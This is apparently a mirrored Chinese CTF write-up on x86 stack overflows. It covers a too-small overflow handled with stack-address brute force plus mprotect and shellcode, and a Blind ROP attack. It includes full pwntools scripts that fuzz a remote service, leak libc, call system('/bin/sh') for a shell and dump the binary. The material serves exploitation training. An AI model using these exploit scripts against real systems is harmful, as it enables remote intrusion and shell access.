

x86下栈溢出太小和BROP
source link: https://delcoding.github.io/2019/01/small_stack_and_brop/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

x86下栈溢出太小和BROP
这篇文章主要记录在x86
下解决栈溢出空间太小和BROP
。
DEMO1
栈溢出可控buff太小的情况可能如下:
可以看到read(0, &addr, 36u)
,可控大小才36个字节,只能控一次ROP
,而在题目环境中没有libc
,所以又要使用mprotect
去开启权限,那一次的ROP根本满足不了我们的需求。# 36 字节理论上只能做这样的 ROP
payload = 'a' * 16 + p32(write_addr) + p32(start_addr) + p32(1) + temp + p32(0x1000)
#### 解决方案
这里使用的解决方案是
爆破栈地址
,得到栈地址(可写地址)后将我们的payload写入到栈中,然后想办法调用mprotect
,并将EIP
控到shellcode中来。因为是
x86
,所以我们爆的栈地址并不会太多,只需要\x00{0}{1}\xff
两个字节。运用write
喷出一些东西,然后看看自己放置的flag
是否在接收到的数据中,如果存在
,那么栈地址就得到了。#### EXP
# -*- coding:utf-8 -*-
from pwn import *
from colored import fg, bg, attr
from cuteprint.cuteprint import PrettyPrinter
context(log_level='debug', arch='i386', os='linux')
pr = PrettyPrinter()
p = process('./demo1')
start_addr = 0x080480B8
write_addr = 0x080480F9
writable_addr = 0
def fuzz(io, temp):
io.recvuntil('something')
offset = -1
payload = 'a' * 16 + p32(write_addr) + p32(start_addr) + p32(1) + temp + p32(0x1000)
io.send(payload)
io.recvline()
try:
data = io.recv(0x1000)
# 判断我们的 flag 是否在数据中,如果在,那么说明我们找到了栈地址
if 'a'*10 in data:
log.debug(temp)
offset = data.find('a'*10)
return offset
else:
return -1
except Exception as e:
return -1
def goto():
fuzz_addr = "\x00{0}{1}\xff"
got = False
for a in range(0xbe, 256):
if not got:
for b in range(0, 256, 16):
temp = fuzz_addr.format(chr(b), chr(a))
j = fuzz(p, temp)
if j > 0:
got = True
global writable_addr
writable_addr += u32(temp) + j
pr.print_good("recv offset is: " + str(j))
pr.print_good("writable_addr is: " + hex(writable_addr))
break
else:
break
goto()
padding = 'a' * 16
pr.print_good("Step1: call read...")
print("%sStep1: call read...\n%s" % (fg(200), attr('blink')))
print("%sStep1: call read...\n%s" % (fg(200), attr('underlined')))
pause()
# 喷出 0x7d 设置 eax,调 mprotect
payload = padding + p32(read_msg) + p32(start_addr) + p32(0) + p32(writable_addr) + p32(0x7d)
p.send(payload)
pr.print_good("Step2: ROP and send shellcode...")
pause()
shellcode_addr = writable_addr + 28 # len(payload2) 下一行的,不包括第二行开始的
# 这里需要注意拼接
payload2 = 'B' * 8 + p32(set_ebcdx) + p32(shellcode_addr) + p32(writable_addr & 0xfffff000) + p32(0x1000) + p32(7) # 这一行的长度
payload2 += shellcode
p.send(payload2.ljust(0x7d, '\x00'))
### DEMO2
demo2是一道
BROP
,在盲pwn的情况下,我们只能靠不断的fuzzing
来取得有价值的信息。这道题中没有开启ASLR
,所以程序段的开始地址还是0x08048000
,各程序段大致如下: 可见plt
和.plt.got
表都在.text
代码段的前面,所以在后面我们爆破main
地址的时候就能猜出一些函数的plt
地址,如read
,它会hong
住进程。
在x86
下,fuzzing的地址并不会太大,解决BROP
可以按照如下:
- 找到
puts
、gets
等输入输出函数的plt
表 - 找到
main
函数地址 - 打印出两个libc函数地址用来找到libc
- 调用
system
、/bin/sh
获取shell
在x86
的环境下,我们大可不必考虑什么stop gadget
,这个跟x64
还是有点差异,比较简单,无脑fuzz。。。
dump程序如果是puts
的话还是不太好做。在dump是要注意:
puts是遇到'\x00'结束输出的
gets是遇到'\x0a'结束输入的
在找puts的plt时,如果某个地址能喷出一些东西,并且这个地址+6
的地址也能喷出东西,那么这个地址就是puts
的plt
。其他函数也可以用这个方法判断,依据可以参考ret2dl_resolve
的文章。
所以fuzz puts的函数可以写成如下:
def fuzz_print_plt():
for j in range(1, 0x10000): # last time fuzz at: 0x08049871
fuzz = 0x80484f6 + j
p = remote('ip', port)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(fuzz) + p32(stop_gadget) + p32(main_addr)
p.sendline(payload)
try:
data = p.recv(0x1000, timeout=3)
if 'something' != data and 'something"' not in data:
# 判断 该地址+6 的地方是否可以输出
p = remote('ip', port)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(fuzz + 6) + p32(stop_gadget) + p32(main_addr)
p.sendline(payload)
try:
data = p.recv(0x1000, timeout=3)
if 'something' != data and 'something"' not in data:
print("%s ==========DUMP START======== %s" % (fg(200), attr('dim')))
hexdump.hexdump(data)
print("%s ==========DUMP END======== %s" % (fg(200), attr('dim')))
p.info("Had Found it...")
pr.print_good("Found offset: " + str(j) + ", main addr: " + hex(fuzz))
except EOFError as e:
print e
pass
except EOFError as e:
print e
pass
p.close()
fuzz main函数也能简单,只要看覆盖的返回地址能否打印出程序开始的一些字符,如此判断程序又从头开始执行了:
def fuzz_main_addr():
for i in range(0x1000):
p = remote('ip', 10000)
p.recvuntil('program start...')
p.recvuntil('\nsomething\n')
p.sendline('a' * offset + p32(0x08048000 + i))
try:
p.recvuntil('program start...')
pr.print_good("Found offset: " + str(i) +
", main addr: " + hex(0x08048000 + i))
p.interactive()
except Exception as e:
print e
pass
p.close()
但这里需要注意,能从头开始的地址不止一个,但有些会毁坏栈,导致无法再重新开始(EOF
了),所以我们需要在后面精准找出符合的地址(不会EOF
)。如:
def fuzz_good_main_addr():
for i in range(0x080484c0, 0x080484ff):
p = remote('ip', 10000)
p.recvuntil('program start..."')
p.recvuntil('\nsomething.\n')
# 能重新开始的地址有一定范围,我们要找到能在 ROP 中依然有效的 main 函数地址
payload = 'a' * offset + p32(puts_plt) + p32(i) + p32(0x0804a010) # puts_got.plt: 0x0804a010 gets_got.plt: 0x0804a014
# gets ---> @2b0 puts ---> @b40
p.sendline(payload)
try:
data = p.recv(0x1000)
libc_base_addr = u32(data[4:8]) - libc.symbols["gets"]
log.debug("libc_base_addr: " + libc_base_addr)
p.recvuntil('program start..."')
pr.print_good("good addr: " + hex(i))
p.interactive()
except Exception as e:
print e
pass
p.close()
在上面的例子中我们喷出了gets plt.got
的地址,利用这个地址我们可以计算出libc
的基址。那么接下去就是常规操作了:
offset_system = libc.symbols["system"]
system_addr = libc_base_addr + offset_system
log.debug("[*] system_addr: " + hex(system_addr))
offset_binsh = next(libc.search('/bin/sh'))
binsh_addr = libc_base_addr + offset_binsh
log.debug("[*] binsh_addr: " + hex(binsh_addr))
p.recvuntil('something')
good_main_addr = 0x080484d0
pause()
payload = 'A' * offset + p32(system_addr) + p32(good_main_addr) + p32(binsh_addr)
p.sendline(payload)
当然我们也可以尝试dump程序,但我试了几次都不能dump能看的binary,运用的代码如下:
def dump_all():
index = 0
flag = 0
while(flag < 0x1770):
dumping = base_addr + index
# gets 是按 0x0a 结束的,所以到这里的时候我们直接把那个值置为 \x00
if (dumping & 0xff) == 0x0a:
index += 1
with open('test', 'ab') as f:
f.write('\x00')
continue
p = remote('ip', 10000)
p.recvuntil('something"')
p.recvuntil('\nsomething\n')
payload = 'a' * offset + p32(puts_plt) + p32(main_addr) + p32(dumping)
p.sendline(payload)
try:
data = p.recv(0x10000)
inx = data.find('Well done!')
if inx != 0:
with open('test', 'ab') as f:
f.write(data[:inx])
index += inx
else:
with open('test', 'ab') as f:
f.write('\x00')
index += 1
flag += 1
except Exception as e:
print e
with open('test', 'ab') as f:
f.write('\x00')
index += 1
flag += 1
p.close()
这里注意下puts
是遇到\x00
停止的,所以在那个地址上我们应该手动把它置为\x00
,然后在index += 1
。
Recommend
-
78
Android-x86 Open Source Project
-
69
x86 finds its way into your iPhone Introduction In one of my several lives, I’m supposed to be a vulnerability researcher working on baseband exploitation. As every vulnerability researcher knows, be...
-
12
做好这3点缩小和优秀产品经理之间的差距 小游不会游泳 2020-12-29 0 评论...
-
18
缩小和放大坐标问题-CSDN论坛c# 图像放大或缩小定位问题_Rommen的专栏Zoom: 画像根据控件的尺寸伸缩表示。但和StretchImage不同,持有画像尺寸比率。表示位置在...
-
5
感染新冠病毒会改变血细胞大小和硬度 来源:
-
1
Linux 查看内存大小和插槽相信大家更换自己笔记本电脑的内存时一定是得心应手,即便是一名新手也可以很轻松的动手实现,其实服务器的内存更换也很简单,关机 -> 挪盖 -> 按指定顺序插拔。不过这里有一个很重要的共性前提,需要清楚了解当前硬件所匹配的内...
-
4
如何通过Java更改Word中的页面大小和页面方向 新建的 Word 文档,默认纸张为 A4 纸,大小为 21 厘米 × 29.7 厘米,没...
-
6
前言|与BROP的相遇 第一次BROP,它让...
-
7
macOS 的默认设置并不总是符合每个人的工作流程。您可以根据个人需求,对其进行个性化设置,以便更...
-
6
重置 Windows 的窗口大小和位置 2023-08-18 Windows ...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK